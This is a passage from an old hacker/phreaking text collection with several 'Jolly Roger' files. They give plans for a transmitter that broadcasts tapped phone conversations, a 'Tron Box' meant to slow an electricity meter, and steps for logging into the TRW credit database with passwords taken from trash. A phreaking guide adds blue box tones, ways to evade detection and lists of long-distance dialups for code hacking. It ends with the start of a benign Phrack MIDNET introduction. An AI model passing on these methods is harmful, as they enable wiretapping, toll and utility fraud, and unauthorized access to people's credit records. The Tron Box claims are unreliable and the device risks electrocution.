  9884.                     !             !              !             2N464
  9885.                     /           .0047            !          base
  9886. collector
  9887.               2meg  \----+        !              !   +--------+       !
  9888.                     /    !       GND             !   !                !
  9889.                         GND                      !   !                !
  9890.         +-------------+.0047+--------------------+   !                !
  9891.                                                       !   +--25mfd-----+
  9892.             -----------------------------------------+   !            !
  9893.        microphone                                        +--/\/\/-----+
  9894.             ---------------------------------------------+   100k     !
  9895.                                                                       !
  9896.                   GND---->/<---------------------!+!+!+---------------+
  9897.                         switch                  Battery
  9898.                     from 2meg pot.
  9899.  
  9900.  
  9901. Notes about the schematic
  9902. =========================
  9903.  
  9904. 1.  GND means ground
  9905. 2.  The GND near the switch and the GND by the 2meg potentiometer should be
  9906.     connected.
  9907. 3.  Where you see:  )(
  9908.                     ()
  9909.                     )( it is the transistor antenna coil with 15 turns of
  9910.                        regular hook-up wire around it.
  9911. 4.  The middle of the loop on the left side (the left of "()") you should
  9912. run
  9913.     a wire down to the "+" which has nothing attached to it. There is a
  9914. .0047
  9915.     capacitor on the correct piece of wire.
  9916. 5.  For the microphone use a magnetic earphone (1k to 2k).
  9917. 6.  Where you see "[!]" is the antenna. Use about 8 feet of wire to
  9918.  
  9919.  
  9920. broadcast
  9921.     approx 300ft. Part 15 of the FCC rules and regulation says you can't
  9922.     broadcast over 300 feet without a license. (Hahaha). Use more wire for
  9923. an
  9924.     antenna for longer distances. (Attach it to the black wire on the fone
  9925.     line for about a 250 foot antenna!)
  9926.  
  9927. Operation of the Lunch Box
  9928. ==========================
  9929.  
  9930. This transmitter will send the signals over the AM radio band. You use the
  9931. variable capacitor to adjust what freq. you want to use. Find a good unused
  9932. freq. down at the lower end of the scale and you're set. Use the 2 meg pot.
  9933. to
  9934. adjust gain. Just fuck with it until you get what sounds good. The switch
  9935. on
  9936. the 2meg is for turning the Lunch Box on and off. When everything is
  9937. adjusted,
  9938. turn on an AM radio adjust it to where you think the signal is. Have a
  9939. friend
  9940. lay some shit thru the Box and tune in to it. That's all there is to it.
  9941. The
  9942. plans for a simple receiver are shown below:
  9943.  
  9944. The Lunch Box receiver
  9945. ======================
  9946.  
  9947. (1) 9 volt battery with battery clip
  9948. (1) 365 pf variable capacitor
  9949. (1) 51 pf capacitor
  9950. (1) 1N38B diode
  9951. (1) Transistor antenna coil
  9952. (1) 2N366 transistor
  9953. (1) SPST toggle switch
  9954. (1) 1k to 2k magnetic earphone
  9955.  
  9956. Schematic for receiver
  9957. ======================
  9958.  
  9959.          [!]
  9960.            !
  9961.         51 pf
  9962.           !
  9963.      +----+----+
  9964.      !         !
  9965.      )       365 pf
  9966.      (----+    !
  9967.      )    !    !
  9968.      +---------+---GND
  9969.           !
  9970.           +---*>!----base  collector-----
  9971.              diode      2N366           earphone
  9972.                         emitter    +-----
  9973.                           !        !
  9974.                          GND       !
  9975.                                     -
  9976.                                    +
  9977.                                    - battery
  9978.  
  9979.  
  9980.                                    +
  9981.            GND------>/<------------+
  9982.                   switch
  9983.  
  9984. Closing statement
  9985. =================
  9986.  
  9987. This two devices can be built for under a total of $10.00. Not too bad.
  9988. Using
  9989. these devices in illegal ways is your option. If you get caught, I accept
  9990. NO
  9991. responsibility for your actions. This can be a lot of fun if used
  9992. correctly.
  9993. Hook it up to the red wire on the phone line and it will send the
  9994. conversation over the air waves.
  9995.  
  9996. Enjoy!
  9997.  
  9998.  
  9999. Olive Box Plans                        Courtesy of the Jolly Roger
  10000.  
  10001.     This is a relatively new box, and all it basically does is serve as a
  10002. phone
  10003. ringer. You have two choices for ringers, a piezoelectric transducer
  10004. (ringer),
  10005. or a standard 8 ohm speaker. The speaker has a more pleasant tone to it,
  10006. but
  10007. either will do fine. This circuit can also be used in conjunction with a
  10008. rust
  10009. box to control an external something or other when the phone rings. Just
  10010. connect
  10011. the 8 ohm speaker output to the inputs on the rust box, and control the pot
  10012. to
  10013. tune it to light the light (which can be replaced by a relay for external
  10014. controlling) when the phone rings.
  10015.  
  10016.              ______________
  10017.             |              |        ^
  10018.        NC --|-- 5      4 --|-----/\/\/------->G
  10019.             |              |      / R2
  10020. G<----)|----|-- 6      3 --|-- NC
  10021.     | C3    |      U1      |
  10022.      -------|-- 7      2 --|---------- --- -- - > TO RINGER
  10023.             |              |
  10024.         ----|-- 8      1 --|--
  10025.        |    |______________|  |
  10026.        |                       ---/\/\/----|(----- L1
  10027.        |                           R1      C1
  10028.         ------------------------------------------ L2
  10029.  
  10030.                   a. Main ringer TTL circuit
  10031.  
  10032. (>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
  10033.  
  10034.                                    _
  10035. FROM PIN 2 < - -- --- ----------| |_| |------------->G
  10036.                                     P1
  10037.  
  10038.  
  10039.  
  10040.                   b. Peizoelectric transducer
  10041.  
  10042. (>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
  10043.  
  10044.                                                       __  /|
  10045. FROM PIN 2 < - -- --- ---------|(---------.  .-------|  |/ |
  10046.                                           >||<       |S1|  |
  10047.                                           >||<     --|  |  |
  10048.                                           >||<    |  |__|\ |
  10049.                               G<---------.>||<.---        \|
  10050.                                            T1
  10051.                 c. Elctro magnetic transducer
  10052. Parts List
  10053. ----------
  10054.  
  10055. U1 - Texas Instruments TCM1506
  10056. T1 - 4000:8 ohm audio transfomer
  10057. S1 - 8 ohm speaker
  10058. R1 - 2.2k resistor
  10059. R2 - External variable resistor; adjusts timing frequency
  10060. C1 - .47uF capacitor
  10061. C2 - .1uF capacitor
  10062. C3 - 10uF capacitor
  10063. L1 - Tip
  10064. L2 - Ring
  10065.      L1 and L2 are the phone line.
  10066.  
  10067.  
  10068. Shift Rate:
  10069. -----------
  10070.  
  10071.   This is the formula for determining the shift rate:
  10072.  
  10073.                    1                   1
  10074.     SR = --------------------- = ------------ = 6.25 Hz
  10075.          (DSR(1/f1)+DSR(1/f2))    128     128
  10076.                                  ----  + ----
  10077.                                  1714    1500
  10078.  
  10079.  
  10080.               DSR = Shift Devider Rate ratio = 128
  10081.                 f1 = High Output Frequency = 1714
  10082.                f2 = Low Output Frequency = 1500
  10083.  
  10084.  
  10085. The Tron Box                 Written by The GREAT Captain Crunch!!
  10086.                              Courtesy of the Jolly Roger
  10087.  
  10088.    ------------------R-----F----
  10089.    I   I   I                   I
  10090.    I   I   I                   I-
  10091.   (C) (C) (C)
  10092.    I   I   I                   I-
  10093.    I   I   I                   I
  10094.    -----------------------------
  10095.  
  10096.  (C)=CAPACITOR
  10097.   F =FUSE
  10098.  
  10099.  
  10100.   R =RESISTOR
  10101.  I,- ARE WIRE
  10102.   PARTS LIST:
  10103.  (3) ELECTROLYTIC CAPACITORS RATED AT 50V(LOWEST) .47UF
  10104.  (1) 20-30OHM 1/2 WATT RESISTOR
  10105.  (1) 120VOLT FUSE (AMP RATING BEST TO USE AT LEAST HALF OF TOTAL
  10106.      HOUSE CURRENT OR EVEN LESS IT KEEPS YOU FROM BLOWING YOUR
  10107.      BREAKER JUST IN CASE...)
  10108.  (1) POWER CORD (CUT UP AN EXTENSTION CORD. NEED PLUG PART AND WIRE)
  10109.  (1) ELECTRICALLY INSULATED BOX
  10110.  
  10111.  
  10112. REST OF SIF YOUR DONT FILL COMFORTABLE ABOUT ELECTRICITY THEN DONT
  10113. PLAY WITH THIS THERE IS VOLTAGE PRESENT THAT WILL
  10114. ***KILL*** YOU......................
  10115.  
  10116. THE THING WORKS WHEN THE LOAD IN YOUR HOUSE IS LOW LIKE AT NIGHT TIME. IT
  10117. WILL PUT A REVERSE PHASE SIGNAL ON THE LINE AND CANCEL OUT THE OTHER PHASE
  10118. AND PUT A REVERSE PHASE RUNNING EVERYTHING IN THE HOUSE. WELL IF YOU HAVE
  10119. EVER SWITCHED THE POWER LEADS ON A D.C. (BATTERY POWERED) MOTOR YOU
  10120. WILL SEE THAT IT RUNS BACKWARDS WELL YOUR ELECTRIC METER SORT OF WORKS
  10121. THIS WAY...SO REVERSE PHASE MAKES THE METER SLOW DOWN AND IF YOUR
  10122. LUCKY IT WILL GO BACKWARDS. ANYWAY IT MEANS A CHEAPER ELECTRIC BILL.
  10123.  
  10124. More TRW Info                          Courtesy of the Jolly Roger
  10125.  
  10126. Trw is a large database in which company's and banks can run credit
  10127. checks on their customers.  Example: John Jones orders 500$ worth of stereo
  10128. equipment from the Joe Blow Electronic distributtng Co.  Well it could be
  10129. that
  10130. he gave the company a phony credit card number, or doesn't have enough
  10131. credit,
  10132. etc.  Well they call up Trw and then run a check on him, trw then lists his
  10133. card numbers (everything from sears to visa) and tells the numbers, credit,
  10134. when he lost it last (if he ever did) and then of course tells if he has
  10135. had
  10136. any prior problems paying his bills.
  10137.  
  10138. I would also like to add that although Trw contains information on
  10139. millions of people, not every part of the country is served, although the
  10140. major
  10141. area are..  So if you hate someone and live in a small state, you probably
  10142. wont be able to order him 300 pink toilet seats from K-mart.
  10143.  
  10144. Logging on
  10145. ==========
  10146.  
  10147. To log on, you dial-up your local access number (or long-distance, what
  10148. ever turns you on) and wait for it to say "trw" at this promt, you type
  10149. either an "A" or a "Ctrl-G" and it will say "circuit building in progress"
  10150. it will wait for a minute and then clear the screen, now you will type
  10151. one of the following.
  10152.  
  10153. Tca1
  10154. Tca2
  10155. Tnj1
  10156. Tga1
  10157.  
  10158.  
  10159.  
  10160. This is to tell it what geographical area the customer is in, it really
  10161. doesnt matter which you use, because trw will automatically switch when
  10162. it finds the record..
  10163.  
  10164. Next, you will type in the pswd and info on the person you are trying to
  10165. get credit info on:  you type it in a format like this:
  10166.  
  10167. Rts Pswd Lname Fname ...,House number First letter of street name Zip <cr>
  10168. now you type ctrl s and 2 ctrl q's here is what it looks like in real life:
  10169.  
  10170.  
  10171. Ae: Dialing xxx-xxx-xxxx
  10172.  
  10173. (screen clear)
  10174. Trw ^G
  10175.  
  10176. circuit building in progress
  10177.  
  10178. (pause . . . screen clear)
  10179.  
  10180. Tca1
  10181.  
  10182. Rtc 3966785-cm5 Johnson David ...,4567
  10183. R 56785
  10184. ^s ^q ^q
  10185.  
  10186. and then it will wait for a few seconds and print out the file on him
  10187. (if it can locate one for the guy)
  10188.  
  10189. note: you may have to push return when you first connect to get the systems
  10190. attention.
  10191.  
  10192. Getting Your Passwords
  10193. ======================
  10194.  
  10195. To obtain pswds, you go down to your favorite bank or sears store and
  10196. dig through the trash (hence the name trashing) looking for printouts, if
  10197. they are a big enough place, and live in a trw area, then they will
  10198. probably
  10199. have some.  The printouts will have the 7 digit subscriber code, leaving
  10200. the
  10201. 3-4 digit pswd up to you.  Much like trashing down at good old ma bell.
  10202.  
  10203.  
  10204.  
  10205.  
  10206. Phreaker's Phunhouse                   Courtesy of the Jolly Roger
  10207.  
  10208.  
  10209.     The long awaited prequil to Phreaker's Guide has finally arrived.
  10210. Conceived from the boredom and loneliness that could only be derived from:
  10211. The Traveler!  But now, he has returned in full strength (after a small
  10212. vacation) and is here to 'World Premiere' the new files everywhere. Stay
  10213. cool. This is the prequil to the first one, so just relax. This is not made
  10214. to be an exclusive ultra elite file, so kinda calm down and watch in the
  10215. background if you are too cool for it.
  10216.  
  10217. /-/   Phreak Dictionary   /-/
  10218.  
  10219.  
  10220.  
  10221.      Here you will find some of the basic but necessary terms that should
  10222. be
  10223. known by any phreak who wants to be respected at all.
  10224.  
  10225.          Phreak  : 1. The action of using mischevious and mostly illegal
  10226.                       ways in order to not pay for some sort of tele-
  10227.                       communications bill, order, transfer, or other
  10228. service.
  10229.                       It often involves usage of highly illegal boxes and
  10230.                       machines in order to defeat the security that is set
  10231.                       up to avoid this sort of happening. [fr'eaking]. v.
  10232.  
  10233.                    2. A person who uses the above methods of destruction
  10234. and
  10235.                       chaos in order to make a better life for all.  A true
  10236.                       phreaker will not not go against his fellows or narc
  10237.                       on people who have ragged on him or do anything
  10238.                       termed to be dishonorable to phreaks. [fr'eek]. n.
  10239.  
  10240.                    3. A certain code or dialup useful in the action of
  10241.                       being a phreak. (Example: "I hacked a new metro
  10242.                       phreak last night.")
  10243.  
  10244.  Switching System: 1. There are 3 main switching systems currently employed
  10245.                       in the US, and a few other systems will be mentioned
  10246.                       as background.
  10247.  
  10248.                     A) SxS: This system was invented in 1918 and was
  10249.                        employed in over half of the country until 1978. It
  10250.                        is a very basic system that is a general waste of
  10251.                        energy and hard work on the linesman. A good way to
  10252.                        identify this is that it requires a coin in the
  10253. phone
  10254.                        booth before it will give you a dial tone, or that
  10255. no
  10256.                        call waiting, call forwarding, or any other such
  10257.                        service is available.  Stands for: Step by Step
  10258.  
  10259.                     B) XB: This switching system was first employed in 1978
  10260.                        in order to take care of most of the faults of SxS
  10261.                        switching.  Not only is it more efficient, but it
  10262.                        also can support different services in various
  10263. forms.
  10264.                        XB1 is Crossbar Version 1. That is very limited and
  10265.                        is hard to distinguish from SxS except by direct
  10266. view
  10267.                        of the wiring involved. Next up was XB4, Crossbar
  10268.                        Version 4. With this system, some of the basic
  10269. things
  10270.                        like DTMF that were not available with SxS can be
  10271.                        accomplished. For the final stroke of XB, XB5 was
  10272.                        created. This is a service that can allow DTMF plus
  10273.                        most 800 type services (which were not always
  10274.                        available.) Stands for: Crossbar.
  10275.  
  10276.                     C) ESS: A nightmare in telecom. In vivid color, ESS is
  10277.                        a pretty bad thing to have to stand up to. It is
  10278.  
  10279.  
  10280.                        quite simple to identify. Dialing 911 for
  10281. emergencies,
  10282.                        and ANI [see ANI below] are the most common facets
  10283. of
  10284.                        the dread system. ESS has the capability to list in
  10285. a
  10286.                        person's caller log what number was called, how long
  10287.                        the call took, and even the status of the
  10288. conversation
  10289.                        (modem or otherwise.) Since ESS has been employed,
  10290.                        which has been very recently, it has gone through
  10291.                        many kinds of revisions. The latest system to date
  10292. is
  10293.                        ESS 11a, that is employed in Washington D.C. for
  10294.                        security reasons. ESS is truly trouble for any
  10295.                        phreak, because it is 'smarter' than the other
  10296.                        systems. For instance, if on your caller log they
  10297. saw
  10298.                        50 calls to 1-800-421-9438, they would be able to do
  10299.                        a CN/A [see Loopholes below] on your number and
  10300.                        determine whether you are subscribed to that service
  10301.                        or not. This makes most calls a hazard, because
  10302.                        although 800 numbers appear to be free, they are
  10303.                        recorded on your caller log and then right before
  10304. you
  10305.                        receive your bill it deletes the billings for them.
  10306.                        But before that the are open to inspection, which is
  10307.                        one reason why extended use of any code is dangerous
  10308.                        under ESS. Some of the boxes [see Boxing below] are
  10309.                        unable to function in ESS.  It is generally a menace
  10310.                        to the true phreak. Stands For: Electronic Switching
  10311.                        System. Because they could appear on a filter
  10312.                        somewhere or maybe it is just nice to know them
  10313.                        anyways.
  10314.  
  10315.                        A) SSS: Strowger Switching System. First
  10316.                           non-operator system available.
  10317.  
  10318.                        B) WES: Western Electronics Switching. Used about 40
  10319.                           years ago with some minor places out west.
  10320.  
  10321.             Boxing:  1) The use of personally designed boxes that emit or
  10322.                         cancel electronical impulses that allow simpler
  10323.                         acting while phreaking. Through the use of separate
  10324.                         boxes, you can accomplish most feats possible with
  10325.                         or without the control of an operator.
  10326.  
  10327.                      2) Some boxes and their functions are listed below.
  10328.                         Ones marked with '*' indicate that they are not
  10329.                         operatable in ESS.
  10330.  
  10331.                       *Black Box: Makes it seem to the phone company that
  10332.                                   the phone was never picked up.
  10333.                       Blue Box  : Emits a 2600hz tone that allows you to do
  10334.                                   such things as stack a trunk line, kick
  10335.                                   the operator off line, and others.
  10336.                         Red Box : Simulates the noise of a quarter, nickel,
  10337.                                   or dime being dropped into a payphone.
  10338.  
  10339.  
  10340.                      Cheese Box : Turns your home phone into a pay phone to
  10341.                                   throw off traces (a red box is usually
  10342.                                   needed in order to call out.)
  10343.                      *Clear Box : Gives you a dial tone on some of the old
  10344.                                   SxS payphones without putting in a coin.
  10345.                       Beige Box : A simpler produced linesman's handset
  10346. that
  10347.                                   allows you to tap into phone lines and
  10348.                                   extract by eavesdropping, or crossing
  10349.                                   wires, etc.
  10350.                      Purple Box : Makes all calls made out from your house
  10351.                                   seem to be local calls.
  10352.  
  10353.           ANI [ANI]: 1) Automatic Number Identification. A service
  10354.                         available on ESS that allows a phone service [see
  10355.                         Dialups below] to record the number that any
  10356. certain
  10357.                         code was dialed from along with the number that was
  10358.                         called and print both of these on the customer
  10359. bill.
  10360.                         950 dialups [see Dialups below] are all designed
  10361.                         just to use ANI. Some of the services do not have
  10362.                         the proper equipment to read the ANI impulses yet,
  10363.                         but it is impossible to see which is which without
  10364.                         being busted or not busted first.
  10365.  
  10366.  Dialups [dy'l'ups]: 1) Any local or 800 extended outlet that allows
  10367. instant
  10368.                         access to any service such as MCI, Sprint, or AT&T
  10369.                         that from there can be used by handpicking or using
  10370.                         a program to reveal other peoples codes which can
  10371.                         then be used moderately until they find out about
  10372.                         it and you must switch to another code (preferrably
  10373.                         before they find out about it.)
  10374.  
  10375.                      2) Dialups are extremely common on both senses. Some
  10376.                         dialups reveal the company that operates them as
  10377.                         soon as you hear the tone. Others are much harder
  10378.                         and some you may never be able to identify.  A
  10379. small
  10380.                         list of dialups:
  10381.  
  10382.                              1-800-421-9438 (5 digit codes)
  10383.                              1-800-547-6754 (6 digit codes)
  10384.                              1-800-345-0008 (6 digit codes)
  10385.                              1-800-734-3478 (6 digit codes)
  10386.                              1-800-222-2255 (5 digit codes)
  10387.  
  10388.                      3) Codes: Codes are very easily accessed procedures
  10389.                         when you call a dialup. They will give you some
  10390. sort
  10391.                         of tone.  If the tone does not end in 3 seconds,
  10392.                         then punch in the code and immediately following
  10393. the
  10394.                         code, the number you are dialing but strike the
  10395.                         '1' in the beginning out first. If the tone does
  10396.                         end, then punch in the code when the tone ends.
  10397.                         Then, it will give you another tone.  Punch in the
  10398.  
  10399.  
  10400.                         number you are dialing, or a '9'. If you punch in
  10401.                         a '9' and the tone stops, then you messed up a
  10402.                         little. If you punch in a tone and the tone
  10403.                         continues, then simply dial then number you are
  10404.                         calling without the  '1'.
  10405.  
  10406.                      4) All codes are not universal. The only type that I
  10407.                         know of that is truly universal is Metrophone.
  10408.                         Almost every major city has a local Metro dialup
  10409.                         (for Philadelphia, (215)351-0100/0126) and since
  10410. the
  10411.                         codes are universal, almost every phreak has used
  10412.                         them once or twice. They do not employ ANI in any
  10413.                         outlets that I know of, so feel free to check
  10414.                         through your books and call 555-1212 or, as a more
  10415.                         devious manor, subscribe yourself. Then, never use
  10416.                         your own code. That way, if they check up on you
  10417. due
  10418.                         to your caller log, they can usually find out that
  10419.                         you are subscribed.  Not only that but you could
  10420. set
  10421.                         a phreak hacker around that area and just let it
  10422.                         hack away, since they usually group them, and, as a
  10423.                         bonus, you will have their local dialup.
  10424.  
  10425.                      5) 950's. They seem like a perfectly cool phreakers
  10426.                         dream. They are free from your house, from
  10427. payphones,
  10428.                         from everywhere, and they host all of the major
  10429. long
  10430.                         distance companies (950)1044 <MCI>, 950)1077
  10431.                         <Sprint>, 950-1088 <S+ylines>, 950-1033 <Us
  10432.                         Telecom>.) Well, they aren't. They were designed
  10433. for
  10434.                         ANI. That is the point, end of discussion.
  10435.  
  10436.      A phreak dictionary. If you remember all of the things contained on
  10437. that fileup there, you may have a better chance of doing whatever it is you
  10438. do. This next section is maybe a little more interesting...
  10439.  
  10440. Blue Box Plans:
  10441. ---------------
  10442.  
  10443.      These are some blue box plans, but first, be warned, there have been
  10444. 2600hz tone detectors out on operator trunk lines since XB4. The idea
  10445. behind
  10446. it is to use a 2600hz tone for a few very naughty functions that can really
  10447. make your day lighten up. But first, here are the plans, or the heart of
  10448. the
  10449. file:
  10450.  
  10451. 700  :   1   :   2   :   4   :   7   :  11   :
  10452. 900  :   +   :   3   :   5   :   8   :  12   :
  10453. 1100 :   +   :   +   :   6   :   9   :  KP   :
  10454. 1300 :   +   :   +   :   +   :  10   :  KP2  :
  10455. 1500 :   +   :   +   :   +   :   +   :  ST   :
  10456.      : 700   : 900   :1100   :1300   :1500   :
  10457.  
  10458.  
  10459.  
  10460.      Stop! Before you diehard users start piecing those little tone tidbits
  10461. together, there is a simpler method. If you have an Apple-Cat with a
  10462. program like Cat's Meow IV, then you can generate the necessary tones, the
  10463. 2600hz tone, the KP tone, the KP2 tone, and the ST tone through the dial
  10464. section. So if you have that I will assume you can boot it up and it works,
  10465. and I'll do you the favor of telling you and the other users what to do
  10466. with
  10467. the blue box now that you have somehow constructed it. The connection to an
  10468. operator is one of the most well known and used ways of having fun with
  10469. your
  10470. blue box. You simply dial a TSPS (Traffic Service Positioning Station, or
  10471. the operator you get when you dial '0') and blow a 2600hz tone through the
  10472. line. Watch out! Do not dial this direct! After you have done that, it is
  10473. quite simple to have fun with it. Blow a KP tone to start a call, a ST tone
  10474. to stop it, and a 2600hz tone to hang up. Once you have connected to it,
  10475. here are some fun numbers to call with it:
  10476.  
  10477.       0-700-456-1000  Teleconference (free, because you are the operator!)
  10478.       (Area code)-101 Toll Switching
  10479.       (Area code)-121 Local Operator (hehe)
  10480.       (Area code)-131 Information
  10481.       (Area code)-141 Rate & Route
  10482.       (Area code)-181 Coin Refund Operator
  10483.       (Area code)-11511 Conference operator (when you dial 800-544-6363)
  10484.  
  10485.      Well, those were the tone matrix controllers for the blue box and some
  10486. other helpful stuff to help you to start out with. But those are only the
  10487. functions with the operator. There are other k-fun things you can do with
  10488. it.
  10489.  
  10490.  More advanced Blue Box Stuff:
  10491.  
  10492.      Oops. Small mistake up there. I forgot tone lengths. Um, you blow a
  10493. tone pair out for up to 1/10 of a second with another 1/10 second for
  10494. silence
  10495. between the digits. KP tones should be sent for 2/10 of a second. One way
  10496. to
  10497. confuse the 2600hz traps is to send pink noise over the channel (for all of
  10498. you that have decent BSR equalizers, there is major pink noise in there.)
  10499.  
  10500.      Using the operator functions is the use of the 'inward' trunk line.
  10501. Thatis working it from the inside. From the 'outward' trunk, you can do
  10502. such
  10503. things as make emergency breakthrough calls, tap into lines, busy all of
  10504. the
  10505. lines in any trunk (called 'stacking'), enable or disable the TSPS's, and
  10506. for some 4a systems you can even re-route calls to anywhere.
  10507.  
  10508.      All right. The one thing that every complete phreak guide should be
  10509. without is blue box plans, since they were once a vital part of phreaking.
  10510. Another thing that every complete file needs is a complete listing of all
  10511. of
  10512. the 800 numbers around so you can have some more Fu7nC≡¿ ≡
  10513.  /-/   800 Dialup Listings  /-/
  10514.  
  10515. 1-800-345-0008 (6)   1-800-547-6754 (6)
  10516. 1-800-245-4890 (4)   1-800-327-9136 (4)
  10517. 1-800-526-5305 (8)   1-800-858-9000 (3)
  10518.  
  10519.  
  10520. 1-800-437-9895 (7)   1-800-245-7508 (5)
  10521. 1-800-343-1844 (4)   1-800-322-1415 (6)
  10522. 1-800-437-3478 (6)   1-800-325-7222 (6)
  10523.  
  10524.      All right, set Cat Hacker 1.0 on those numbers and have a fuck of a
  10525. day. That is enough with 800 codes, by the time this gets around to you I
  10526. dunno what state those codes will be in, but try them all out anyways and
  10527. see what you get. On some 800 services now, they have an operator who will
  10528. answer and ask you for your code, and then your name. Some will switch back
  10529. and forth between voice and tone verification, you can never be quite sure
  10530. which you will be upagainst.
  10531.  
  10532.      Armed with this knowledge you should be having a pretty good time
  10533. phreaking now. But class isn't over yet, there are still a couple important
  10534. rules that you should know. If you hear continual clicking on the line,
  10535. then
  10536. you should assume that an operator is messing with something, maybe even
  10537. listening in on you. It is a good idea to call someone back when the phone
  10538. starts doing that. If you were using a code, use a different code and/or
  10539. service to call him back.
  10540.  
  10541.      A good way to detect if a code has gone bad or not is to listen when
  10542. the number has been dialed. If the code is bad you will probably hear the
  10543. phone ringing more clearly and more quickly than if you were using a
  10544. different code.  If someone answers voice to it then you can immediately
  10545. assume that it is an operative for whatever company you are using. The
  10546. famed
  10547. '311311' code for Metro is one of those. You would have to be quite stupid
  10548. to actually respond, because whoever you ask for the operator will always
  10549. say 'He's not in right now, can I have him call you back?' and then they
  10550. will ask for your name and phone number. Some of the more sophisticated
  10551. companies will actually give you a carrier on a line that is supposed to
  10552. give you a carrier and then just have garbage flow across the screen like
  10553. it
  10554. would with a bad connection. That is a feeble effort to make you think that
  10555. the code is still working and maybe get you to dial someone's voice, a good
  10556. test for the carrier trick is to dial anumber that will give you a carrier
  10557. that you have never dialed with that code before, that will allow you to
  10558. determine whether the code is good or not. For our next section, a lighter
  10559. look at some of the things that a phreak should not be without. A
  10560. vocabulary.
  10561. A few months ago, it was a quite strange world for the modem people out
  10562. there. But now, a phreaker's vocabulary is essential if you wanna make a
  10563. good impression on people when you post what you know about certain
  10564. subjects.
  10565.  
  10566.  /-/    Vocabulary    /-/
  10567.  
  10568.  - Do not misspell except certain exceptions:
  10569.  
  10570.              phone -> fone
  10571.              freak -> phreak
  10572.  
  10573.  - Never substitute 'z's for 's's. (i.e. codez -> codes)
  10574.  
  10575.  - Never leave many characters after a post (i.e. Hey Dudes!#!@#@!#!@)
  10576.  
  10577.  - NEVER use the 'k' prefix (k-kool, k-rad, k-whatever)
  10578.  
  10579.  
  10580. ç - Do not abbreviate. (I got lotsa wares w/ docs)
  10581.  
  10582.  - Never substitute '0' for 'o' (r0dent, l0zer).
  10583.  
  10584.  - Forget about ye old upper case, it looks ruggyish.
  10585.  
  10586.      All right, that was to relieve the tension of what is being drilled
  10587. into your minds at the moment.  Now, however, back to the teaching course.
  10588. Here are somethings you should know about phones and billings for phones,
  10589. etc.
  10590.  
  10591.      LATA: Local Access Transference Area. Some people who live in large
  10592. cities or areas may be plagued by this problem. For instance, let's say you
  10593. live in the 215 area code under the 542 prefix (Ambler, Fort Washington).
  10594. If
  10595. you went to dial in a basic Metro code from that area, for instance,
  10596. 351-0100, that might not be counted under unlimited local calling because
  10597. it
  10598. is out of your LATA.  For some LATA's, you have to dial a '1' without the
  10599. area code before you can dial the phone number. That could prove a hassle
  10600. for us all if you didn't realize you would be billed for that sort of call.
  10601. In that way, sometimes, it is better to be safe than sorry and phreak.
  10602.  
  10603.      The Caller Log: In ESS regions, for every household around, the phone
  10604. company has something on you called a Caller Log. This shows every single
  10605. number that you dialed, and things can be arranged so it showed every
  10606. number
  10607. that was calling to you. That's one main disadvantage of ESS, it is mostly
  10608. computerized so a number scan could be done like that quite easily. Using a
  10609. dialup is an easy way to screw that, and is something worth remembering.
  10610. Anyways, with the caller log, they check up and see what you dialed. Hmm...
  10611. you dialed 15 different 800 numbers that month. Soon they find that you are
  10612. subscribed to none of those companies. But that is not the only thing. Most
  10613. people would imagine "But wait! 800 numbers don't show up on my phone
  10614. bill!". To those people, it is a nice thought, but 800 numbers are picked
  10615. up
  10616. on the caller log until right before they are sent off to you. So they can
  10617. check right up on you before they send it away and can note the fact that
  10618. you fucked up slightly and called one too many 800 lines.
  10619.  
  10620.      Right now, after all of that, you should have a pretty good idea of
  10621. how
  10622. to grow up as a good phreak. Follow these guidelines, don't show off, and
  10623. don't take unnecessary risks when phreaking or hacking.
  10624.  
  10625. (*Greets to Pee Wee for this file taken from his 'Hell Disk' #1*)
  10626.                     ---------------Jolly Roger
  10627.  
  10628.  
  10629.  
  10630.  
  10631.                                 ==Phrack Inc.==
  10632.  
  10633.                      Volume Three, Issue 27, File 3 of 12
  10634.  
  10635.        <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  10636.        <>                                                            <>
  10637.        <>                   Introduction to MIDNET                   <>
  10638.  
  10639.  
  10640.        <>                   ~~~~~~~~~~~~~~~~~~~~~~                   <>
  10641.        <>        Chapter Seven Of The Future Transcendent Saga       <>
  10642.        <>                                                            <>
  10643.        <>               A More Indepth Look Into NSFnet              <>
  10644.        <>             National Science Foundation Network            <>
  10645.        <>                                                            <>
  10646.        <>                Presented by Knight Lightning               <>
  10647.        <>                        June 16, 1989                       <>
  10648.        <>                                                            <>
  10649.        <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  10650.  
  10651.  
  10652. Prologue
  10653. ~~~~~~~~
  10654. If you are not already familiar with NSFnet, I would suggest that you read:
  10655.  
  10656. "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and
  10657. definitely;
  10658. "NSFnet:  National Science Foundation Network" (Phrack Inc., Volume Three,
  10659.                                                 Issue 26, File 4 of 11).
  10660.  
  10661.  
  10662. Table Of Contents
  10663. ~~~~~~~~~~~~~~~~~
  10664. *  Introduction
  10665. *  The DOD Protocol Suite
  10666. *  Names and Addresses In A Network
  10667. *  Telnet (*NOT* Telenet)
  10668. *  File Transfer
  10669. *  Mail
  10670.  
  10671.  
  10672. Introduction
  10673. ~~~~~~~~~~~~
  10674. MIDNET is a regional computer network that is part of the NSFnet, the
  10675. National
  10676. Science Foundation Network.  Currently, eleven mid-United States
  10677. universities
  10678. are connected to each other and to the NSFnet via MIDnet:
  10679.  
  10680. UA  - University of Arkansas at Fayetteville
  10681. ISU - Iowa State University at Ames
  10682. UI  - University of Iowa at Iowa City
  10683. KSU - Kansas State University at Manhattan
  10684. KU  - University of Kansas at Lawrence
  10685. UMC - University of Missouri at Columbia
  10686. WU  - Washington University at St. Louis, Missouri
  10687. UNL - University of Nebraska at Lincoln
  10688. OSU - Oklahoma State University at Stillwater
  10689. UT  - University of Tulsa (Oklahoma)
  10690. OU  - University of Oklahoma at Norman
  10691.  
  10692. Researchers at any of these universities that have funded grants can access
  10693. the
  10694. six supercomputer centers funded by the NSF:
  10695.  
  10696. John Von Neuman Supercomputer Center
  10697. National Center for Atmospheric Research
  10698.  
  10699.  
  10700. Cornell National Supercomputer Facility
  10701. National Center for Supercomputing Applications
  10702. Pittsburgh Supercomputing Center
  10703. San Diego Supercomputing Center
  10704.  
  10705. In addition, researchers and scientists can communicate with each other
  10706. over a
  10707. vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet,
  10708. BITnet, and others that you have read about in The Future Transcendent
  10709. Saga.
  10710. Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of
  10711. 13)
